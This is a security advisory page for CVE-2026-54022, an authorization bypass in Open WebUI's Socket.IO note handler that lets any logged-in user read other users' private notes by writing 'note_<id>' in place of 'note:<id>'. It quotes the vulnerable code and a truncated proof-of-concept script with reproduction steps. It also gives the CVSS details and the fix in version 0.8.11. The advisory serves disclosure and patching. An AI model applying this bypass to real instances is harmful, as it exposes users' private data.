Skip to main content

Boteraser | Website and Server Security Solutions

🛡️ CVE-2026-54022 — open-webui

🟡 CVSS 5.3 — Medium ⚠️ Exploit Public CWE-706 OSV
5.3
CVSS Score
0 Low4 Medium7 High9 Critical10

Description

Open WebUI: Any authenticated user can read other users' private notes via Socket.IO

Summary

The ydoc:document:join Socket.IO handler checks note ownership only when the document_id starts with note: (colon). However, the YdocManager storage layer normalizes all document IDs by replacing colons with underscores (document_id.replace(":", "_")). An attacker can join a document room using note_<id> (underscore) instead of note:<id> (colon), bypassing the authorization check entirely while accessing the same underlying Yjs document. The server then returns the full document state, leaking the victim's private note contents.

Details

The ydoc:document:join handler in socket/main.py (line 511) only performs authorization for document IDs matching the note: prefix:

```python

@sio.on("ydoc:document:join")

async def ydoc_document_join(sid, data):

document_id = data["document_id"]

if document_id.startswith("note:"):

note_id = document_id.split(":")[1]

note = Notes.get_note_by_id(note_id)

# ... ownership and AccessGrants check ...

# Returns early if user doesn't have access

# If document_id does NOT start with "note:", execution continues

# with no authorization check at all

await YDOC_MANAGER.add_user(document_id=document_id, user_id=sid)

await sio.enter_room(sid, f"doc_{document_id}")

ydoc = Y.Doc()

updates = await YDOC_MANAGER.get_updates(document_id)

for update in updates:

ydoc.apply_update(bytes(update))

state_update = ydoc.get_update()

await sio.emit("ydoc:document:state", {

"document_id": document_id,

"state": list(state_update),

}, room=sid)

```

The YdocManager class in socket/utils.py normalizes document IDs in every method by replacing colons with underscores:

```python

async def get_updates(self, document_id: str) -> List[bytes]:

document_id = document_id.replace(":", "_") # line 176

# ... returns updates keyed by normalized ID

async def append_to_updates(self, document_id: str, update: bytes):

document_id = document_id.replace(":", "_") # line 134

# ... stores update keyed by normalized ID

```

This means note:abc123 and note_abc123 resolve to the same storage key (note_abc123). When a victim opens their note, the Yjs document is stored under the normalized key. An attacker can then request the same document using the underscore variant, which skips the startswith("note:") authorization check but retrieves the same data from YdocManager.

PoC

```python

#!/usr/bin/env python3

"""

uv run --no-project --with requests --with "python-socketio[asyncio_client]" --with aiohttp --with pycrdt finding_15_yjs_note_disclosure.py --base-url BASE_URL --attacker-email EMAIL --attacker-password PASS --victim-email EMAIL --victim-password PASS

Finding #15 — Any authenticated user can read other users' private notes via Socket.IO

SUMMARY:

The ydoc:document:join Socket.IO handler only checks authorization for

document IDs starting with "note:" (colon). However, YdocManager normalizes

document IDs by replacing colons with underscores internally. An attacker

can join a room using "note_<id>" (underscore) to bypass the auth check,

while still accessing the same underlying Yjs document as "note:<id>".

Then ydoc:document:state returns the full document content.

VULNERABLE CODE:

backend/open_webui/socket/main.py, ydoc:document:join:

if document_id.startswith("note:"):

# permission check only for colon-prefix

# "note_<id>" skips this check entirely

backend/open_webui/socket/ydoc.py, YdocManager:

key = document_id.replace(":", "_") # normalizes to same storage key

IMPACT:

Any authenticated user can read the full content of any other user's notes

by exploiting the namespace collision between "note:" and "note_" prefixes.

REPRODUCTION:

1. Victim creates a private note with sensitive content.

2. Attacker connects via Socket.IO and authenticates.

3. Attacker joins room with document_id "note_<victim_note_id>" (underscore).

4. Attacker requests ydoc:document:state to get the full note content.

REQUIREMENTS:

  • Running Open WebUI instance
  • A victim note with content
  • Attacker user (any authenticated user)

"""

import argparse

import asyncio

import sys

import requests

import socketio

async def victim_initialize_note(base, victim_token, note_id):

"""Simulate victim opening the note in the UI to initialize the Yjs document."""

sio = socketio.AsyncClient()

await sio.connect(

base,

socketio_path="/ws/socket.io",

headers={"Authorization": f"Bearer {victim_token}"},

transports=["websocket"],

)

# Join using the proper note:id format (passes auth check since victim owns it)

doc_id = f"note:{note_id}"

print(f" Joining as victim with document_id: {doc_id}")

await sio.emit("ydoc:document:join", {

"document_id": doc_id,

"user_i

How this vulnerability can be exploited

This issue can be reached over the network, attack complexity is high, an attacker needs low-level privileges on the target. No user interaction is required. The scope is unchanged, so the impact stays within the vulnerable component. Rated impact: confidentiality high, integrity none, availability none.

CVSS metrics in full

The score comes from this vector: CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:N/A:N

  • Attack vector: Network — reachable from anywhere that can route to the service.
  • Attack complexity: High — the attacker first has to win a race, learn a secret or otherwise prepare the target.
  • Privileges required: Low — an ordinary user account is enough.
  • User interaction: None — nobody has to be tricked into anything.
  • Scope: Unchanged — the damage stays inside the vulnerable component.
  • Confidentiality impact: High — total loss, or loss the attacker controls.
  • Integrity impact: None.
  • Availability impact: None.

Weakness class

CVE-2026-54022 is classified as CWE-706: Use of Incorrectly-Resolved Name or Reference. The product uses a name or reference to access a resource, but the name/reference resolves to a resource that is outside of the intended control sphere.

Affected software

CVE-2026-54022 is recorded against 1 package.

  • open-webui (fixed in 0.8.11)

Timeline and source

Published on 17 June 2026 and last revised on 20 July 2026. A public exploit is known to exist, which raises the urgency of patching considerably. Record sourced from OSV.

References

github.com (Web)
nvd.nist.gov (Advisory)
github.com (Advisory)
github.com (Package)
github.com (Web)
pypi.org (Web)

Other advisories for this package

open-webui has other advisories on record. If you are patching this one, these are worth checking on the same host:

Same weakness in other software

These advisories are the same class of weakness (CWE-706: Use of Incorrectly-Resolved Name or Reference) in other software:

Details

Severity MEDIUM
CVSS Score 5.3
CVSS Vector CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:N/A:N
CWE CWE-706
Public Exploit ⚠️ Yes
Source OSV
Published 2026-06-17
Updated 2026-08-20
Modified 2026-07-20
Fix URL N/A

Affected Packages

Software From version Fixed in
open-webui — 0.8.11

Similar Threats

Exploit Protection

Are you running open-webui?

CVE-2026-54022 carries CVSS 5.3 Medium rating and a public exploit already exists. BotEraser checks your installation against this and other known CVE records, and blocks IPs associated with exploit activity.

Check My Site For CVE-2026-54022 →

No credit card required  ·  Results in minutes

ⓘ Data Notice: The information presented above has been compiled from publicly available internet sources. Boteraser aggregates this data solely for informational purposes and does not independently classify, evaluate, or endorse any findings about the vulnerabilities listed. The accuracy and completeness of this information is the sole responsibility of the original publishers. Boteraser and its operators accept no liability for any decisions made based on this data.

Browse related advisories

All advisoriesCVECVE 2026
✓